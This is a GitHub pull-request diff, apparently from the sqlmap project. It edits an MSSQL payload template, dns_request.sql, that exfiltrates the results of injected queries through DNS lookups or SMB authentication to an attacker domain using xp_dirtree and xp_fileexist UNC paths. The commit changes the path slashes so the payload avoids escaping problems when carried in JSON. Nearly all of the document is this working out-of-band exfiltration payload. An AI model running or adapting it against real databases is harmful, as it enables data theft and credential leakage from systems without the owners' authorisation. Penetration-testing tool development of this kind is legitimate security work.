Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Change MSSQL dns_request.sql to reduce escaping issues
Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes, and removed the space between the procedure name and quoted path.

These changes help to avoid escaping/encoding issues, for example when using JSON. MSSQL still handles it the same way and will cause a DNS query or SMB authentication attempt.
  • Loading branch information
missing0x00 authored Jan 24, 2025
commit 4d259790cd0d3ccb3991fc99f7fb01ecffbf93e6
4 changes: 2 additions & 2 deletions data/procs/mssqlserver/dns_request.sql
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
EXEC('master..xp_dirtree"//'+@host+'/%RANDSTR1%"')
# or EXEC('master..xp_fileexist"//'+@host+'/%RANDSTR1%"')